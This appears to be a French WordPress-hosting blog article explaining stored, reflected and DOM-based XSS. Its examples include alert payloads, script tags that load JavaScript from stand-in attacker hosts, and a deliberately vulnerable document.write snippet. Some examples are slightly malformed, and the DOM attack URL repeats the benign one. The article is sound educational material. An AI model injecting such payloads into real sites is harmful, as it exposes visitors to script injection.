Types d'attaques de type Cross-Site Scripting (XSS)

Publié: 2022-11-04

Dans notre article précédent sur WordPress et le Cross-Site Scripting, nous avons présenté une vue d'ensemble de ce que sont ces types d'attaques et comment vous pouvez les prévenir. Dans cet article, nous allons approfondir certains détails ainsi que des exemples de scripts intersites. Allons-y!

XSS persistant

Le XSS persistant (ou XSS stocké) est l'un des principaux types de scripts intersites. Il est appelé persistant car ce que l'attaquant injecte est stocké en permanence sur le serveur pour une utilisation ultérieure. Chaque fois qu'un visiteur se rend sur une page particulière, le code est exécuté par le navigateur lors du chargement ou lors de l'appel d'une fonction spécifique.

Exemple XSS persistant :

Disons que dans la section des commentaires sous un message, quelqu'un saisit un script d'alerte avec une simple réponse/opinion.

 Great solution! It works for me.<script>alert("Some text message")</script>

Si la section des commentaires est vulnérable et que les commentaires soumis ne sont pas filtrés, ce code sera enregistré dans la base de données. En conséquence, à partir de ce moment, chaque fois que la page est chargée (par n'importe qui) et que le "mauvais commentaire" est visible avec tous les commentaires, une fenêtre contextuelle apparaîtra avec le message.

Bien sûr, un message d'alerte peut être gênant mais pas vraiment nuisible. Mais que se passe-t-il si l'attaquant insère un script malveillant au lieu du message d'alerte comme ceci :

 Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">

Au lieu d'une fenêtre contextuelle ennuyeuse, l'utilisateur final subira l'attaque XSS. Les dommages dépendront du type de code exécuté. C'est pourquoi les attaques XSS stockées sont considérées comme si dangereuses. Ils attaquent chaque utilisateur et ne nécessitent même aucune intervention de l'utilisateur (barre d'ouverture de la page en premier lieu).

XSS non persistant

Bien qu'ils ne soient pas aussi dangereux que les XSS persistants, les XSS non persistants (ou réfléchissants) sont toujours problématiques, notamment parce qu'ils sont reconnus comme étant le type le plus courant d'attaque de script intersite.

Essentiellement, ce qui se passe dans une attaque XSS non persistante, c'est que l'utilisateur final clique sur un lien malveillant qui l'enverra vers un autre site Web qui déclenchera une mauvaise exécution de code. L'attaque est effectuée via une URL ou des paramètres HTTP spécialement conçus et n'est pas enregistrée de manière permanente dans la base de données comme dans Persistent XSS.

Mais avant de mener une attaque non persistante, l'attaquant doit identifier si un site Web est vulnérable aux attaques XSS. Une façon de le faire est d'utiliser le moteur de recherche interne du site Web. Si vous entrez une chaîne, disons "chaussures" pour rechercher et appuyez sur le bouton, une fonction est exécutée qui ressemble à ceci :

 http://exampledomain.com?query=shoes

Avant l'exécution de la fonction, cependant, la chaîne que vous avez entrée est nettoyée, ou du moins elle devrait l'être, afin que le formulaire de recherche soit à l'abri des entrées malveillantes.

L'attaquant peut utiliser le formulaire de recherche et essayer de saisir un script comme celui-ci :

 <script type="text/javascript">alert("vulnerable");</script>

Si le formulaire n'est pas nettoyé, il exécutera la fonction normalement :

 http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>

Cela entraînerait (dans cet exemple) l'affichage de la fenêtre contextuelle d'alerte. C'est alors que l'attaquant sait que le formulaire de recherche a une vulnérabilité XSS.

Exemple XSS non persistant

En cas de découverte d'une vulnérabilité sur un site, un attaquant peut choisir de créer une URL qui ressemble à ceci :

 http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"

Ils "masquent" ensuite l'URL afin qu'elle ne ressemble pas à un "mauvais" lien et essaient d'encourager les autres à cliquer dessus. Généralement, cela peut être mon envoi de spams ou peut-être l'inclusion d'un lien sur un forum.

XSS basé sur DOM

Lors d'un incident XSS basé sur DOM (ou XSS côté client), l'attaque est transmise via une URL qui contient le code malveillant.

Il est également considéré comme une vulnérabilité côté client car il est exécuté dans le navigateur de la victime, mais ce qui se passe ici, c'est qu'une partie du DOM est modifiée, ce qui oblige le client à exécuter du code, sans son consentement.

REMARQUE : Le modèle d'objet de document (DOM) est une interface qui définit la structure de mise en page d'une page Web en connectant le langage de script à la page Web réelle. Pour ce faire, il permet aux développeurs d'accéder au document et d'exécuter des opérations afin de mettre à jour le contenu.

Exemple XSS basé sur DOM :

Un exemple d'attaque de script intersite basée sur DOM peut être démontré avec un formulaire qui vous permet de choisir une option, telle que votre pays de résidence. Voyons comment cela se déroulerait avec l'exemple ci-dessous :

 Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>

Ainsi, une page avec une option choisie dans le formulaire est accessible via une URL telle que :

 http://localhost/?country=Lithuania

Mais si vous essayez une entrée comme celle-ci (voir ci-dessous), le navigateur créera un objet DOM contenant cette chaîne et exécutera le script.

 http://localhost/?country=Lithuania

Cela se produit parce que le formulaire n'est pas protégé et que le code initial n'est prêt pour aucun balisage HTML. Donc, ce qu'il fait, c'est dessiner le DOM dans la page et exécuter le script malveillant.

Les attaques XSS ne sont que trop courantes. Un moyen simple de vous protéger au mieux est de toujours garder les plugins à jour sur votre site WordPress et d'utiliser un hébergeur de haute qualité. Nous espérons que ces exemples vous ont donné une idée du fonctionnement de ces types d'attaques et de ce qu'il faut surveiller !